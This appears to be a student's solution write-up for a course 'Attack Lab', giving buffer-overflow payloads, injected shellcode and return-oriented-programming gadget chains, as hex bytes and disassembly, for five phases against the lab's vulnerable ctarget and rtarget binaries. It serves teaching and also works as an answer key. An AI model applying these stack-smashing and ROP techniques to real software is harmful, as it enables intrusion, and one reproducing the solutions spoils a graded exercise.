

# Attack lab

x86-64 is little-endian so low -> high

## Phase1

```
getbuf: $0x28.      Buffer :40 bytes
Input :40 +address of touch1
Touch1 address:0x0000000000 40 17 c0
We should pass :c0 17 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
Command:./hex2raw -i ctarget_1.txt |./ctarget -q
```

## phase2

move cookie to rdi, push address of touch2 to stack, then return jump to touch2

```
mov $0x59b997fa,%rdi
pushq $0x4017ec
ret
```

```
0000000000000000 <_start>:
  0:  48 c7 c7 fa 97 b9 59      mov    $0x59b997fa,%rdi
  7:  68 ec 17 40 00             push   $0x4017ec
  c:  c3                        ret
buffer start
rsp:0x5561dc78
```

##explain: we put our shellcode into stack by gets function then getbuf return (it should return to test()), but now it return to where buffer stars),our shellcode is in there ,so it can be executed

```
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```

##what in stack

00 00 00 00 55 61 78 dc <--address of shell code ,which stored in %rsp

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 c3 00 40 ec 17

68 59 b9 97 fa c7 c7 48 <-- shellcode %rsp point to this

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc

61 55 00 00 00 00

#phase3

since hexmatch() and strncmp push data on stack ,origin buffer of getbuff may be overwrite ,so cannot use this to store string

use buffer of test to store

string <-- 0x5561dca8

address of shellcode:0x5561dc78 <-- 0x5561dca0

0

0

0

shellcode <-- 0x5561dc78

shellcode:

mov \$0x5561dca8, %rdi #move address of string to rdi

pushq \$0x4018fa #push address of touch3

retq

cookie 59b997fa

ascii: 35 39 62 39 39 37 66 61 00

0000000000000000 <\_start>:

0: 48 c7 c7 a8 dc 61 55 mov \$0x5561dca8,%rdi

7: 68 fa 18 40 00 push \$0x4018fa

c: c3 ret

48 c7 c7 a8 dc 61 55 68

fa 18 40 00 c3 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

```

00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00

```

## #return oriented programming

### #phase4

```

popq %rax          58 90 c3          0x4019ab
mov %rax ,%rdi     48 89 c7 c3      0x4019a2

```

```

00000000004019a0 <addval_273>:
4019a0:      8d 87 48 89 c7 c3      lea    eax,[rdi-0x3c3876b8]
4019a6:      c3                    ret
00000000004019a7 <addval_219>:
4019a7:      8d 87 51 73 58 90      lea    eax,[rdi-0x6fa78caf]
4019ad:      c3                    ret

```

```

cookie 59b997fa
touch2:0x4017ec

```

```

satck
touch2 address
mov %rax ,%rdi address
cookie
popq %rax address
buffer

```

when getbuf return pop cookie to %rax,then move it to %rdi and go to touch2

```

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

```

## #phase5

1. %rsp->%rdi
2. offset of string ->%rsi
3. lea(%rdi,%rsi,1),%rax then %rax->%rdi pass address of string to rax
4. call touch3

```
movq %rsp,%rax    pass %rsp->%rdi
movq %rax,%rdi
```

```
popq %rax(offset) #pass offset value of string
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
```

```
lea(%rdi,%rsi,1),%rax
mov %rax,%rdi
```

```
0000000000401a03 <addval_190>:
  401a03:      8d 87 41 48 89 e0      lea    eax,[rdi-0x1f76b7bf]
  401a09:      c3                    ret
```

```
**48 89 e0 c3** movq %rsp,%rax 0x401a06
```

```
00000000004019a0 <addval_273>:
  4019a0:      8d 87 48 89 c7 c3      lea    eax,[rdi-0x3c3876b8]
  4019a6:      c3                    ret
```

```
**48 89 c7 c3** movq %rax,%rdi 0x4019a2
```

```
00000000004019ca <getval_280>:
  4019ca:      b8 29 58 90 c3          mov    eax,0xc3905829
  4019cf:      c3                    ret
```

```
**58 90 c3** popq %rax 0x4019cc
```

```
00000000004019db <getval_481>:
  4019db:      b8 5c 89 c2 90          mov    eax,0x90c2895c
  4019e0:      c3                    ret
```

```
**89 c2 90 c3** movl %eax,%edx 0x4019dd
```

```
0000000000401a6e <setval_167>:
  401a6e:      c7 07 89 d1 91 c3      mov    DWORD PTR
[rdi],0xc391d189
  401a74:      c3                    ret
```

```
**89 d1 91 c3** movl %edx,%ecx 0x401a70
```

```
0000000000401a11 <addval_436>:
```

```

401a11:      8d 87 89 ce 90 90      lea    eax,[rdi-0x6f6f3177]
401a17:      c3                      ret

```

```

**89 ce 90 90 c3** movl %ecx,%esi 0x401a13

```

```

00000000004019d6 <add_xy>:
4019d6:      48 8d 04 37      lea    rax,[rdi+rsi*1]
4019da:      c3                      ret

```

```

**48 8d 04 37 c3** lea(%rdi,%rsi,1),%rax 0x4019d6

```

```

00000000004019a0 <addval_273>:
4019a0:      8d 87 48 89 c7 c3      lea    eax,[rdi-0x3c3876b8]
4019a6:      c3                      ret

```

```

**48 89 c7 c3** mov %rax,%rdi 0x4019a2

```

```

stack
35 39 62 39 39 37 66 61 00  cookie
touch3      0x4018fa
mov %rax,%rdi      0x4019a2
lea(%rdi,%rsi,1),%rax 0x4019d6
movl %ecx,%esi      0x401a13
movl %edx,%ecx      0x401a70
movl %eax,%edx      0x4019dd
0x48
popq %rax      0x4019cc
movq %rax,%rdi      0x4019a2
movq %rsp,%rax      0x401a06
buffer

```

```

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

```